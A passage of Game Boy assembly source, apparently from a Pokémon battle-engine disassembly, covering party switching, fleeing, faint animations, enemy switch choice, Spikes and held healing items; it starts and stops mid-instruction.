a, [wMenuCursorY] cp $1 ; YES jr z, .loop ld hl, wPartyMon1Speed ld de, wEnemyMonSpeed jp TryToRunAwayFromBattle ForcePlayerMonChoice: call EmptyBattleTextbox call LoadStandardMenuHeader call SetUpBattlePartyMenu_NoLoop call ForcePickPartyMonInBattle ld a, [wLinkMode] and a jr z, .skip_link ld a, BATTLEPLAYERACTION_USEITEM ld [wBattlePlayerAction], a call LinkBattleSendReceiveAction .skip_link xor a ; BATTLEPLAYERACTION_USEMOVE ld [wBattlePlayerAction], a call CheckMobileBattleError jr c, .enemy_fainted_mobile_error ld hl, wEnemyMonHP ld a, [hli] or [hl] jr nz, .send_out_pokemon .enemy_fainted_mobile_error call ClearSprites call ClearBGPalettes call _LoadHPBar call ExitMenu call LoadTileMapToTempTileMap call WaitBGMap call GetMemSGBLayout call SetPalettes xor a ld c, a ret .send_out_pokemon call ClearSprites ld a, [wCurBattleMon] ld [wLastPlayerMon], a ld a, [wCurPartyMon] ld [wCurBattleMon], a call AddBattleParticipant call InitBattleMon call ResetPlayerStatLevels call ClearPalettes call DelayFrame call _LoadHPBar call CloseWindow call GetMemSGBLayout call SetPalettes call SendOutMonText call NewBattleMonStatus call BreakAttraction call SendOutPlayerMon call EmptyBattleTextbox call LoadTileMapToTempTileMap call SetPlayerTurn call SpikesDamage ld a, $1 and a ld c, a ret PlayerPartyMonEntrance: ld a, [wCurBattleMon] ld [wLastPlayerMon], a ld a, [wCurPartyMon] ld [wCurBattleMon], a call AddBattleParticipant call InitBattleMon call ResetPlayerStatLevels call SendOutMonText call NewBattleMonStatus call BreakAttraction call SendOutPlayerMon call EmptyBattleTextbox call LoadTileMapToTempTileMap call SetPlayerTurn jp SpikesDamage CheckMobileBattleError: ld a, [wLinkMode] cp LINK_MOBILE jr nz, .not_mobile ; It's not a mobile battle ld a, [wcd2b] and a jr z, .not_mobile ; We have a mobile battle and something else happened scf ret .not_mobile xor a ret IsMobileBattle: ld a, [wLinkMode] cp LINK_MOBILE ret SetUpBattlePartyMenu_NoLoop: call ClearBGPalettes SetUpBattlePartyMenu: ; switch to fullscreen menu? farcall LoadPartyMenuGFX farcall InitPartyMenuWithCancel farcall InitPartyMenuBGPal7 farcall InitPartyMenuGFX ret JumpToPartyMenuAndPrintText: farcall WritePartyMenuTilemap farcall PrintPartyMenuText call WaitBGMap call SetPalettes call DelayFrame ret SelectBattleMon: call IsMobileBattle jr z, .mobile farcall PartyMenuSelect ret .mobile farcall Mobile_PartyMenuSelect ret PickPartyMonInBattle: .loop ld a, PARTYMENUACTION_SWITCH ; Which PKMN? ld [wPartyMenuActionText], a call JumpToPartyMenuAndPrintText call SelectBattleMon ret c call CheckIfCurPartyMonIsFitToFight jr z, .loop xor a ret SwitchMonAlreadyOut: ld hl, wCurBattleMon ld a, [wCurPartyMon] cp [hl] jr nz, .notout ld hl, BattleText_MonIsAlreadyOut call StdBattleTextbox scf ret .notout xor a ret ForcePickPartyMonInBattle: ; Can't back out. .pick call PickPartyMonInBattle ret nc call CheckMobileBattleError ret c ld de, SFX_WRONG call PlaySFX call WaitSFX jr .pick PickSwitchMonInBattle: .pick call PickPartyMonInBattle ret c call SwitchMonAlreadyOut jr c, .pick xor a ret ForcePickSwitchMonInBattle: ; Can't back out. .pick call ForcePickPartyMonInBattle call CheckMobileBattleError ret c call SwitchMonAlreadyOut jr c, .pick xor a ret LostBattle: ld a, 1 ld [wBattleEnded], a ld a, [wInBattleTowerBattle] bit 0, a jr nz, .battle_tower ld a, [wBattleType] cp BATTLETYPE_CANLOSE jr nz, .not_canlose ; Remove the enemy from the screen. hlcoord 0, 0 lb bc, 8, 21 call ClearBox call BattleWinSlideInEnemyTrainerFrontpic ld c, 40 call DelayFrames ld a, [wDebugFlags] bit DEBUG_BATTLE_F, a jr nz, .skip_win_loss_text call PrintWinLossText .skip_win_loss_text ret .battle_tower ; Remove the enemy from the screen. hlcoord 0, 0 lb bc, 8, 21 call ClearBox call BattleWinSlideInEnemyTrainerFrontpic ld c, 40 call DelayFrames call EmptyBattleTextbox ld c, BATTLETOWERTEXT_WIN_TEXT farcall BattleTowerText call WaitPressAorB_BlinkCursor call ClearTileMap call ClearBGPalettes ret .not_canlose ld a, [wLinkMode] and a jr nz, .LostLinkBattle ; Greyscale ld b, SCGB_BATTLE_GRAYSCALE call GetSGBLayout call SetPalettes jr .end .LostLinkBattle: call UpdateEnemyMonInParty call CheckEnemyTrainerDefeated jr nz, .not_tied ld hl, TiedAgainstText ld a, [wBattleResult] and BATTLERESULT_BITMASK add DRAW ld [wBattleResult], a jr .text .not_tied ld hl, LostAgainstText call IsMobileBattle jr z, .mobile .text call StdBattleTextbox .end scf ret .mobile ; Remove the enemy from the screen. hlcoord 0, 0 lb bc, 8, 21 call ClearBox call BattleWinSlideInEnemyTrainerFrontpic ld c, 40 call DelayFrames ld c, $3 ; lost farcall Mobile_PrintOpponentBattleMessage scf ret EnemyMonFaintedAnimation: hlcoord 12, 5 decoord 12, 6 jp MonFaintedAnimation PlayerMonFaintedAnimation: hlcoord 1, 10 decoord 1, 11 jp MonFaintedAnimation MonFaintedAnimation: ld a, [wcfbe] push af set 6, a ld [wcfbe], a ld b, 7 .OuterLoop: push bc push de push hl ld b, 6 .InnerLoop: push bc push hl push de ld bc, 7 call CopyBytes pop de pop hl ld bc, -SCREEN_WIDTH add hl, bc push hl ld h, d ld l, e add hl, bc ld d, h ld e, l pop hl pop bc dec b jr nz, .InnerLoop ld bc, 20 add hl, bc ld de, .Spaces call PlaceString ld c, 2 call DelayFrames pop hl pop de pop bc dec b jr nz, .OuterLoop pop af ld [wcfbe], a ret .Spaces: db " @" SlideBattlePicOut: ldh [hMapObjectIndexBuffer], a ld c, a .loop push bc push hl ld b, $7 .loop2 push hl call .DoFrame pop hl ld de, SCREEN_WIDTH add hl, de dec b jr nz, .loop2 ld c, 2 call DelayFrames pop hl pop bc dec c jr nz, .loop ret .DoFrame: ldh a, [hMapObjectIndexBuffer] ld c, a cp $8 jr nz, .back .forward ld a, [hli] ld [hld], a dec hl dec c jr nz, .forward ret .back ld a, [hld] ld [hli], a inc hl dec c jr nz, .back ret ForceEnemySwitch: call ResetEnemyBattleVars ld a, [wEnemySwitchMonIndex] dec a ld b, a call LoadEnemyMonToSwitchTo call ClearEnemyMonBox call NewEnemyMonStatus call ResetEnemyStatLevels call Function_SetEnemyMonAndSendOutAnimation call BreakAttraction call ResetBattleParticipants ret EnemySwitch: call CheckWhetherToAskSwitch jr nc, EnemySwitch_SetMode ; Shift Mode call ResetEnemyBattleVars call CheckWhetherSwitchmonIsPredetermined jr c, .skip call FindMonInOTPartyToSwitchIntoBattle .skip ; 'b' contains the PartyNr of the mon the AI will switch to call LoadEnemyMonToSwitchTo call OfferSwitch push af call ClearEnemyMonBox call Function_BattleTextEnemySentOut call Function_SetEnemyMonAndSendOutAnimation pop af ret c ; If we're here, then we're switching too xor a ld [wBattleParticipantsNotFainted], a ld [wBattleParticipantsIncludingFainted], a ld [wBattlePlayerAction], a inc a ld [wEnemyIsSwitching], a call LoadTileMapToTempTileMap jp PlayerSwitch EnemySwitch_SetMode: call ResetEnemyBattleVars call CheckWhetherSwitchmonIsPredetermined jr c, .skip call FindMonInOTPartyToSwitchIntoBattle .skip ; 'b' contains the PartyNr of the mon the AI will switch to call LoadEnemyMonToSwitchTo ld a, 1 ld [wEnemyIsSwitching], a call ClearEnemyMonBox call Function_BattleTextEnemySentOut jp Function_SetEnemyMonAndSendOutAnimation CheckWhetherSwitchmonIsPredetermined: ; returns carry if: ??? ld a, [wLinkMode] and a jr z, .not_linked ld a, [wBattleAction] sub BATTLEACTION_SWITCH1 ld b, a jr .return_carry .not_linked ld a, [wEnemySwitchMonIndex] and a jr z, .check_wBattleHasJustStarted dec a ld b, a jr .return_carry .check_wBattleHasJustStarted ld a, [wBattleHasJustStarted] and a ld b, $0 jr nz, .return_carry and a ret .return_carry scf ret ResetEnemyBattleVars: ; and draw empty Textbox xor a ld [wLastPlayerCounterMove], a ld [wLastEnemyCounterMove], a ld [wLastEnemyMove], a ld [wCurEnemyMove], a dec a ld [wEnemyItemState], a xor a ld [wPlayerWrapCount], a hlcoord 18, 0 ld a, 8 call SlideBattlePicOut call EmptyBattleTextbox jp LoadStandardMenuHeader ResetBattleParticipants: xor a ld [wBattleParticipantsNotFainted], a ld [wBattleParticipantsIncludingFainted], a AddBattleParticipant: ld a, [wCurBattleMon] ld c, a ld hl, wBattleParticipantsNotFainted ld b, SET_FLAG push bc predef SmallFarFlagAction pop bc ld hl, wBattleParticipantsIncludingFainted predef_jump SmallFarFlagAction FindMonInOTPartyToSwitchIntoBattle: ld b, -1 ld a, $1 ld [wBuffer1], a ld [wBuffer2], a .loop ld hl, wBuffer1 sla [hl] inc hl sla [hl] inc b ld a, [wOTPartyCount] cp b jp z, ScoreMonTypeMatchups ld a, [wCurOTMon] cp b jr z, .discourage ld hl, wOTPartyMon1HP push bc ld a, b call GetPartyLocation ld a, [hli] ld c, a ld a, [hl] or c pop bc jr z, .discourage call LookUpTheEffectivenessOfEveryMove call IsThePlayerMonTypesEffectiveAgainstOTMon jr .loop .discourage ld hl, wBuffer2 set 0, [hl] jr .loop LookUpTheEffectivenessOfEveryMove: push bc ld hl, wOTPartyMon1Moves ld a, b call GetPartyLocation pop bc ld e, NUM_MOVES + 1 .loop dec e jr z, .done ld a, [hli] and a jr z, .done push hl push de push bc dec a ld hl, Moves ld bc, MOVE_LENGTH call AddNTimes ld de, wEnemyMoveStruct ld a, BANK(Moves) call FarCopyBytes call SetEnemyTurn callfar BattleCheckTypeMatchup pop bc pop de pop hl ld a, [wTypeMatchup] cp EFFECTIVE + 1 jr c, .loop ld hl, wBuffer1 set 0, [hl] ret .done ret IsThePlayerMonTypesEffectiveAgainstOTMon: ; Calculates the effectiveness of the types of the PlayerMon ; against the OTMon push bc ld hl, wOTPartyCount ld a, b inc a ld c, a ld b, 0 add hl, bc ld a, [hl] dec a ld hl, BaseData + BASE_TYPES ld bc, BASE_DATA_SIZE call AddNTimes ld de, wEnemyMonType ld bc, BASE_CATCH_RATE - BASE_TYPES ld a, BANK(BaseData) call FarCopyBytes ld a, [wBattleMonType1] ld [wPlayerMoveStruct + MOVE_TYPE], a call SetPlayerTurn callfar BattleCheckTypeMatchup ld a, [wTypeMatchup] cp EFFECTIVE + 1 jr nc, .super_effective ld a, [wBattleMonType2] ld [wPlayerMoveStruct + MOVE_TYPE], a callfar BattleCheckTypeMatchup ld a, [wTypeMatchup] cp EFFECTIVE + 1 jr nc, .super_effective pop bc ret .super_effective pop bc ld hl, wBuffer1 bit 0, [hl] jr nz, .reset inc hl set 0, [hl] ret .reset res 0, [hl] ret ScoreMonTypeMatchups: .loop1 ld hl, wBuffer1 sla [hl] inc hl sla [hl] jr nc, .loop1 ld a, [wOTPartyCount] ld b, a ld c, [hl] .loop2 sla c jr nc, .okay dec b jr z, .loop5 jr .loop2 .okay ld a, [wBuffer1] and a jr z, .okay2 ld b, -1 ld c, a .loop3 inc b sla c jr nc, .loop3 jr .quit .okay2 ld b, -1 ld a, [wBuffer2] ld c, a .loop4 inc b sla c jr c, .loop4 jr .quit .loop5 ld a, [wOTPartyCount] ld b, a call BattleRandom and $7 cp b jr nc, .loop5 ld b, a ld a, [wCurOTMon] cp b jr z, .loop5 ld hl, wOTPartyMon1HP push bc ld a, b call GetPartyLocation pop bc ld a, [hli] ld c, a ld a, [hl] or c jr z, .loop5 .quit ret LoadEnemyMonToSwitchTo: ; 'b' contains the PartyNr of the mon the AI will switch to ld a, b ld [wCurPartyMon], a ld hl, wOTPartyMon1Level call GetPartyLocation ld a, [hl] ld [wCurPartyLevel], a ld a, [wCurPartyMon] inc a ld hl, wOTPartyCount ld c, a ld b, 0 add hl, bc ld a, [hl] ld [wTempEnemyMonSpecies], a ld [wCurPartySpecies], a call LoadEnemyMon ld a, [wCurPartySpecies] cp UNOWN jr nz, .skip_unown ld a, [wFirstUnownSeen] and a jr nz, .skip_unown ld hl, wEnemyMonDVs predef GetUnownLetter ld a, [wUnownLetter] ld [wFirstUnownSeen], a .skip_unown ld hl, wEnemyMonHP ld a, [hli] ld [wEnemyHPAtTimeOfPlayerSwitch], a ld a, [hl] ld [wEnemyHPAtTimeOfPlayerSwitch + 1], a ret CheckWhetherToAskSwitch: ld a, [wBattleHasJustStarted] dec a jp z, .return_nc ld a, [wPartyCount] dec a jp z, .return_nc ld a, [wLinkMode] and a jp nz, .return_nc ld a, [wOptions] bit BATTLE_SHIFT, a jr nz, .return_nc ld a, [wCurPartyMon] push af ld a, [wCurBattleMon] ld [wCurPartyMon], a farcall CheckCurPartyMonFainted pop bc ld a, b ld [wCurPartyMon], a jr c, .return_nc scf ret .return_nc and a ret OfferSwitch: ld a, [wCurPartyMon] push af callfar Battle_GetTrainerName ld hl, BattleText_EnemyIsAboutToUseWillPlayerChangeMon call StdBattleTextbox lb bc, 1, 7 call PlaceYesNoBox ld a, [wMenuCursorY] dec a jr nz, .said_no call SetUpBattlePartyMenu_NoLoop call PickSwitchMonInBattle jr c, .canceled_switch ld a, [wCurBattleMon] ld [wLastPlayerMon], a ld a, [wCurPartyMon] ld [wCurBattleMon], a call ClearPalettes call DelayFrame call _LoadHPBar pop af ld [wCurPartyMon], a xor a ld [wCurEnemyMove], a ld [wCurPlayerMove], a and a ret .canceled_switch call ClearPalettes call DelayFrame call _LoadHPBar .said_no pop af ld [wCurPartyMon], a scf ret ClearEnemyMonBox: xor a ldh [hBGMapMode], a call ExitMenu call ClearSprites hlcoord 1, 0 lb bc, 4, 10 call ClearBox call WaitBGMap jp FinishBattleAnim Function_BattleTextEnemySentOut: callfar Battle_GetTrainerName ld hl, BattleText_EnemySentOut call StdBattleTextbox jp WaitBGMap Function_SetEnemyMonAndSendOutAnimation: ld a, [wTempEnemyMonSpecies] ld [wCurPartySpecies], a ld [wCurSpecies], a call GetBaseData ld a, OTPARTYMON ld [wMonType], a predef CopyMonToTempMon call GetEnemyMonFrontpic xor a ld [wNumHits], a ld [wBattleAnimParam], a call SetEnemyTurn ld de, ANIM_SEND_OUT_MON call Call_PlayBattleAnim call BattleCheckEnemyShininess jr nc, .not_shiny ld a, 1 ; shiny anim ld [wBattleAnimParam], a ld de, ANIM_SEND_OUT_MON call Call_PlayBattleAnim .not_shiny ld bc, wTempMonSpecies farcall CheckFaintedFrzSlp jr c, .skip_cry farcall CheckBattleScene jr c, .cry_no_anim hlcoord 12, 0 ld d, $0 ld e, ANIM_MON_SLOW predef AnimateFrontpic jr .skip_cry .cry_no_anim ld a, $f ld [wCryTracks], a ld a, [wTempEnemyMonSpecies] call PlayStereoCry .skip_cry call UpdateEnemyHUD ld a, $1 ldh [hBGMapMode], a ret NewEnemyMonStatus: xor a ld [wLastPlayerCounterMove], a ld [wLastEnemyCounterMove], a ld [wLastEnemyMove], a ld hl, wEnemySubStatus1 rept 4 ld [hli], a endr ld [hl], a ld [wEnemyDisableCount], a ld [wEnemyFuryCutterCount], a ld [wEnemyProtectCount], a ld [wEnemyRageCounter], a ld [wEnemyDisabledMove], a ld [wEnemyMinimized], a ld [wPlayerWrapCount], a ld [wEnemyWrapCount], a ld [wEnemyTurnsTaken], a ld hl, wPlayerSubStatus5 res SUBSTATUS_CANT_RUN, [hl] ret ResetEnemyStatLevels: ld a, BASE_STAT_LEVEL ld b, NUM_LEVEL_STATS ld hl, wEnemyStatLevels .loop ld [hli], a dec b jr nz, .loop ret CheckPlayerPartyForFitMon: ; Has the player any mon in his Party that can fight? ld a, [wPartyCount] ld e, a xor a ld hl, wPartyMon1HP ld bc, PARTYMON_STRUCT_LENGTH - 1 .loop or [hl] inc hl ; + 1 or [hl] add hl, bc dec e jr nz, .loop ld d, a ret CheckIfCurPartyMonIsFitToFight: ld a, [wCurPartyMon] ld hl, wPartyMon1HP call GetPartyLocation ld a, [hli] or [hl] ret nz ld a, [wBattleHasJustStarted] and a jr nz, .finish_fail ld hl, wPartySpecies ld a, [wCurPartyMon] ld c, a ld b, 0 add hl, bc ld a, [hl] cp EGG ld hl, BattleText_AnEGGCantBattle jr z, .print_textbox ld hl, BattleText_TheresNoWillToBattle .print_textbox call StdBattleTextbox .finish_fail xor a ret TryToRunAwayFromBattle: ; Run away from battle, with or without item ld a, [wBattleType] cp BATTLETYPE_DEBUG jp z, .can_escape cp BATTLETYPE_CONTEST jp z, .can_escape cp BATTLETYPE_TRAP jp z, .cant_escape cp BATTLETYPE_CELEBI jp z, .cant_escape cp BATTLETYPE_SHINY jp z, .cant_escape cp BATTLETYPE_SUICUNE jp z, .cant_escape ld a, [wLinkMode] and a jp nz, .can_escape ld a, [wBattleMode] dec a jp nz, .cant_run_from_trainer ld a, [wEnemySubStatus5] bit SUBSTATUS_CANT_RUN, a jp nz, .cant_escape ld a, [wPlayerWrapCount] and a jp nz, .cant_escape push hl push de ld a, [wBattleMonItem] ld [wNamedObjectIndexBuffer], a ld b, a callfar GetItemHeldEffect ld a, b cp HELD_ESCAPE pop de pop hl jr nz, .no_flee_item call SetPlayerTurn call GetItemName ld hl, BattleText_UserFledUsingAStringBuffer1 call StdBattleTextbox jp .can_escape .no_flee_item ld a, [wNumFleeAttempts] inc a ld [wNumFleeAttempts], a ld a, [hli] ldh [hMultiplicand + 1], a ld a, [hl] ldh [hMultiplicand + 2], a ld a, [de] inc de ldh [hEnemyMonSpeed + 0], a ld a, [de] ldh [hEnemyMonSpeed + 1], a call Call_LoadTempTileMapToTileMap ld de, hMultiplicand + 1 ld hl, hEnemyMonSpeed ld c, 2 call CompareBytes jr nc, .can_escape xor a ldh [hMultiplicand + 0], a ld a, 32 ldh [hMultiplier], a call Multiply ldh a, [hProduct + 2] ldh [hDividend + 0], a ldh a, [hProduct + 3] ldh [hDividend + 1], a ldh a, [hEnemyMonSpeed + 0] ld b, a ldh a, [hEnemyMonSpeed + 1] srl b rr a srl b rr a and a jr z, .can_escape ldh [hDivisor], a ld b, 2 call Divide ldh a, [hQuotient + 2] and a jr nz, .can_escape ld a, [wNumFleeAttempts] ld c, a .loop dec c jr z, .cant_escape_2 ld b, 30 ldh a, [hQuotient + 3] add b ldh [hQuotient + 3], a jr c, .can_escape jr .loop .cant_escape_2 call BattleRandom ld b, a ldh a, [hQuotient + 3] cp b jr nc, .can_escape ld a, BATTLEPLAYERACTION_USEITEM ld [wBattlePlayerAction], a ld hl, BattleText_CantEscape2 jr .print_inescapable_text .cant_escape ld hl, BattleText_CantEscape jr .print_inescapable_text .cant_run_from_trainer ld hl, BattleText_TheresNoEscapeFromTrainerBattle .print_inescapable_text call StdBattleTextbox ld a, TRUE ld [wFailedToFlee], a call LoadTileMapToTempTileMap and a ret .can_escape ld a, [wLinkMode] and a ld a, DRAW jr z, .fled call LoadTileMapToTempTileMap xor a ; BATTLEPLAYERACTION_USEMOVE ld [wBattlePlayerAction], a ld a, $f ld [wCurMoveNum], a xor a ld [wCurPlayerMove], a call LinkBattleSendReceiveAction call Call_LoadTempTileMapToTileMap call CheckMobileBattleError jr c, .mobile ; Got away safely ld a, [wBattleAction] cp BATTLEACTION_FORFEIT ld a, DRAW jr z, .fled dec a ; LOSE .fled ld b, a ld a, [wBattleResult] and BATTLERESULT_BITMASK add b ld [wBattleResult], a call StopDangerSound push de ld de, SFX_RUN call WaitPlaySFX pop de call WaitSFX ld hl, BattleText_GotAwaySafely call StdBattleTextbox call WaitSFX call LoadTileMapToTempTileMap scf ret .mobile call StopDangerSound ld hl, wcd2a bit 4, [hl] jr nz, .skip_link_error ld hl, BattleText_LinkErrorBattleCanceled call StdBattleTextbox .skip_link_error call WaitSFX call LoadTileMapToTempTileMap scf ret InitBattleMon: ld a, MON_SPECIES call GetPartyParamLocation ld de, wBattleMonSpecies ld bc, MON_ID call CopyBytes ld bc, MON_DVS - MON_ID add hl, bc ld de, wBattleMonDVs ld bc, MON_PKRUS - MON_DVS call CopyBytes inc hl inc hl inc hl ld de, wBattleMonLevel ld bc, PARTYMON_STRUCT_LENGTH - MON_LEVEL call CopyBytes ld a, [wBattleMonSpecies] ld [wTempBattleMonSpecies], a ld [wCurPartySpecies], a ld [wCurSpecies], a call GetBaseData ld a, [wBaseType1] ld [wBattleMonType1], a ld a, [wBaseType2] ld [wBattleMonType2], a ld hl, wPartyMonNicknames ld a, [wCurBattleMon] call SkipNames ld de, wBattleMonNick ld bc, MON_NAME_LENGTH call CopyBytes ld hl, wBattleMonAttack ld de, wPlayerStats ld bc, PARTYMON_STRUCT_LENGTH - MON_ATK call CopyBytes call ApplyStatusEffectOnPlayerStats call BadgeStatBoosts ret BattleCheckPlayerShininess: call GetPartyMonDVs jr BattleCheckShininess BattleCheckEnemyShininess: call GetEnemyMonDVs BattleCheckShininess: ld b, h ld c, l callfar CheckShininess ret GetPartyMonDVs: ld hl, wBattleMonDVs ld a, [wPlayerSubStatus5] bit SUBSTATUS_TRANSFORMED, a ret z ld hl, wPartyMon1DVs ld a, [wCurBattleMon] jp GetPartyLocation GetEnemyMonDVs: ld hl, wEnemyMonDVs ld a, [wEnemySubStatus5] bit SUBSTATUS_TRANSFORMED, a ret z ld hl, wEnemyBackupDVs ld a, [wBattleMode] dec a ret z ld hl, wOTPartyMon1DVs ld a, [wCurOTMon] jp GetPartyLocation ResetPlayerStatLevels: ld a, BASE_STAT_LEVEL ld b, NUM_LEVEL_STATS ld hl, wPlayerStatLevels .loop ld [hli], a dec b jr nz, .loop ret InitEnemyMon: ld a, [wCurPartyMon] ld hl, wOTPartyMon1Species call GetPartyLocation ld de, wEnemyMonSpecies ld bc, MON_ID call CopyBytes ld bc, MON_DVS - MON_ID add hl, bc ld de, wEnemyMonDVs ld bc, MON_PKRUS - MON_DVS call CopyBytes inc hl inc hl inc hl ld de, wEnemyMonLevel ld bc, PARTYMON_STRUCT_LENGTH - MON_LEVEL call CopyBytes ld a, [wEnemyMonSpecies] ld [wCurSpecies], a call GetBaseData ld hl, wOTPartyMonNicknames ld a, [wCurPartyMon] call SkipNames ld de, wEnemyMonNick ld bc, MON_NAME_LENGTH call CopyBytes ld hl, wEnemyMonAttack ld de, wEnemyStats ld bc, PARTYMON_STRUCT_LENGTH - MON_ATK call CopyBytes call ApplyStatusEffectOnEnemyStats ld hl, wBaseType1 ld de, wEnemyMonType1 ld a, [hli] ld [de], a inc de ld a, [hl] ld [de], a ld hl, wBaseStats ld de, wEnemyMonBaseStats ld b, 5 .loop ld a, [hli] ld [de], a inc de dec b jr nz, .loop ld a, [wCurPartyMon] ld [wCurOTMon], a ret SwitchPlayerMon: call ClearSprites ld a, [wCurBattleMon] ld [wLastPlayerMon], a ld a, [wCurPartyMon] ld [wCurBattleMon], a call AddBattleParticipant call InitBattleMon call ResetPlayerStatLevels call NewBattleMonStatus call BreakAttraction call SendOutPlayerMon call EmptyBattleTextbox call LoadTileMapToTempTileMap ld hl, wEnemyMonHP ld a, [hli] or [hl] ret SendOutPlayerMon: ld hl, wBattleMonDVs predef GetUnownLetter hlcoord 1, 5 ld b, 7 ld c, 8 call ClearBox call WaitBGMap xor a ldh [hBGMapMode], a call GetBattleMonBackpic xor a ldh [hGraphicStartTile], a ld [wBattleMenuCursorBuffer], a ld [wCurMoveNum], a ld [wTypeModifier], a ld [wPlayerMoveStruct + MOVE_ANIM], a ld [wLastPlayerCounterMove], a ld [wLastEnemyCounterMove], a ld [wLastPlayerMove], a call CheckAmuletCoin call FinishBattleAnim xor a ld [wEnemyWrapCount], a call SetPlayerTurn xor a ld [wNumHits], a ld [wBattleAnimParam], a ld de, ANIM_SEND_OUT_MON call Call_PlayBattleAnim call BattleCheckPlayerShininess jr nc, .not_shiny ld a, 1 ld [wBattleAnimParam], a ld de, ANIM_SEND_OUT_MON call Call_PlayBattleAnim .not_shiny ld a, MON_SPECIES call GetPartyParamLocation ld b, h ld c, l farcall CheckFaintedFrzSlp jr c, .statused ld a, $f0 ld [wCryTracks], a ld a, [wCurPartySpecies] call PlayStereoCry .statused call UpdatePlayerHUD ld a, $1 ldh [hBGMapMode], a ret NewBattleMonStatus: xor a ld [wLastPlayerCounterMove], a ld [wLastEnemyCounterMove], a ld [wLastPlayerMove], a ld hl, wPlayerSubStatus1 rept 4 ld [hli], a endr ld [hl], a ld hl, wPlayerUsedMoves ld [hli], a ld [hli], a ld [hli], a ld [hl], a ld [wPlayerDisableCount], a ld [wPlayerFuryCutterCount], a ld [wPlayerProtectCount], a ld [wPlayerRageCounter], a ld [wDisabledMove], a ld [wPlayerMinimized], a ld [wEnemyWrapCount], a ld [wPlayerWrapCount], a ld [wPlayerTurnsTaken], a ld hl, wEnemySubStatus5 res SUBSTATUS_CANT_RUN, [hl] ret BreakAttraction: ld hl, wPlayerSubStatus1 res SUBSTATUS_IN_LOVE, [hl] ld hl, wEnemySubStatus1 res SUBSTATUS_IN_LOVE, [hl] ret SpikesDamage: ld hl, wPlayerScreens ld de, wBattleMonType ld bc, UpdatePlayerHUD ldh a, [hBattleTurn] and a jr z, .ok ld hl, wEnemyScreens ld de, wEnemyMonType ld bc, UpdateEnemyHUD .ok bit SCREENS_SPIKES, [hl] ret z ; Flying-types aren't affected by Spikes. ld a, [de] cp FLYING ret z inc de ld a, [de] cp FLYING ret z push bc ld hl, BattleText_UserHurtBySpikes ; "hurt by SPIKES!" call StdBattleTextbox call GetEighthMaxHP call SubtractHPFromTarget pop hl call .hl jp WaitBGMap .hl jp hl PursuitSwitch: ld a, BATTLE_VARS_MOVE call GetBattleVar ld b, a call GetMoveEffect ld a, b cp EFFECT_PURSUIT jr nz, .done ld a, [wCurBattleMon] push af ld hl, DoPlayerTurn ldh a, [hBattleTurn] and a jr z, .do_turn ld hl, DoEnemyTurn ld a, [wLastPlayerMon] ld [wCurBattleMon], a .do_turn ld a, BANK(DoPlayerTurn) ; aka BANK(DoEnemyTurn) rst FarCall ld a, BATTLE_VARS_MOVE call GetBattleVarAddr ld a, $ff ld [hl], a pop af ld [wCurBattleMon], a ldh a, [hBattleTurn] and a jr z, .check_enemy_fainted ld a, [wLastPlayerMon] call UpdateBattleMon ld hl, wBattleMonHP ld a, [hli] or [hl] jr nz, .done ld a, $f0 ld [wCryTracks], a ld a, [wBattleMonSpecies] call PlayStereoCry ld a, [wLastPlayerMon] ld c, a ld hl, wBattleParticipantsNotFainted ld b, RESET_FLAG predef SmallFarFlagAction call PlayerMonFaintedAnimation ld hl, BattleText_MonFainted jr .done_fainted .check_enemy_fainted ld hl, wEnemyMonHP ld a, [hli] or [hl] jr nz, .done ld de, SFX_KINESIS call PlaySFX call WaitSFX ld de, SFX_FAINT call PlaySFX call WaitSFX call EnemyMonFaintedAnimation ld hl, BattleText_EnemyMonFainted .done_fainted call StdBattleTextbox scf ret .done and a ret RecallPlayerMon: ldh a, [hBattleTurn] push af xor a ldh [hBattleTurn], a ld [wNumHits], a ld de, ANIM_RETURN_MON call Call_PlayBattleAnim pop af ldh [hBattleTurn], a ret HandleHealingItems: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .player_1 call SetPlayerTurn call HandleHPHealingItem call UseHeldStatusHealingItem call UseConfusionHealingItem call SetEnemyTurn call HandleHPHealingItem call UseHeldStatusHealingItem jp UseConfusionHealingItem .player_1 call SetEnemyTurn call HandleHPHealingItem call UseHeldStatusHealingItem call UseConfusionHealingItem call SetPlayerTurn call HandleHPHealingItem call UseHeldStatusHealingItem jp UseConfusionHealingItem HandleHPHealingItem: callfar GetOpponentItem ld a, b cp HELD_BERRY ret nz ld de, wEnemyMonHP + 1 ld hl, wEnemyMonMaxHP ldh a, [hBattleTurn] and a jr z, .go ld de, wBattleMonHP + 1 ld hl, wBattleMonMaxHP .go ; If, and only if, Pokemon's HP is less than half max, use the item. ; Store current HP in Buffer 3/4 push bc ld a, [de] ld [wBuffer3], a add a ld c, a dec de ld a, [de] inc de ld [wBuffer4], a adc a ld b, a ld a, b cp [hl] ld a, c pop bc jr z, .equal jr c, .less ret .equal inc hl cp [hl] dec hl ret nc .less call ItemRecoveryAnim ; store max HP in wBuffer1/2 ld a, [hli] ld [wBuffer2], a ld a, [hl] ld [wBuffer1], a ld a, [de] add c ld [wBuffer5], a ld c, a dec de ld a, [de] adc 0 ld [wBuffer6], a ld b, a ld a, [hld] cp c ld a, [hl] sbc b jr nc, .okay ld a, [hli] ld [wBuffer6], a ld a, [hl] ld [wBuffer5], a .okay ld a, [wBuffer6] ld [de], a inc de ld a, [wBuffer5] ld [de], a ldh a, [hBattleTurn] ld [wWhichHPBar], a and a hlcoord 2, 2 jr z, .got_hp_bar_coords hlcoord 10, 9 .got_hp_bar_coords ld [wWhichHPBar], a predef AnimateHPBar UseOpponentItem: call RefreshBattleHuds callfar GetOpponentItem ld a, [hl] ld [wNamedObjectIndexBuffer], a call GetItemName callfar ConsumeHeldItem ld hl, RecoveredUsingText jp StdBattleTextbox ItemRecoveryAnim: push hl push de push bc call EmptyBattleTextbox ld a, RECOVER ld [wFXAnimID], a call SwitchTurnCore xor a ld [wNumHits], a ld [wFXAnimID + 1], a predef PlayBattleAnim call SwitchTurnCore pop bc pop de pop hl ret UseHeldStatusHealingItem: callfar GetOpponentItem ld hl, HeldStatusHealingEffects .loop ld a, [hli] cp $ff ret z inc hl cp b jr nz, .loop dec hl ld b, [hl] ld a, BATTLE_VARS_STATUS_OPP call GetBattleVarAddr and b ret z xor a ld [hl], a push bc call UpdateOpponentInParty pop bc ld a, BATTLE_VARS_SUBSTATUS5_OPP call GetBattleVarAddr and [hl] res SUBSTATUS_TOXIC, [hl] ld a, BATTLE_VARS_SUBSTATUS1_OPP call GetBattleVarAddr and [hl] res SUBSTATUS_NIGHTMARE, [hl] ld a, b cp ALL_STATUS jr nz, .skip_confuse ld a, 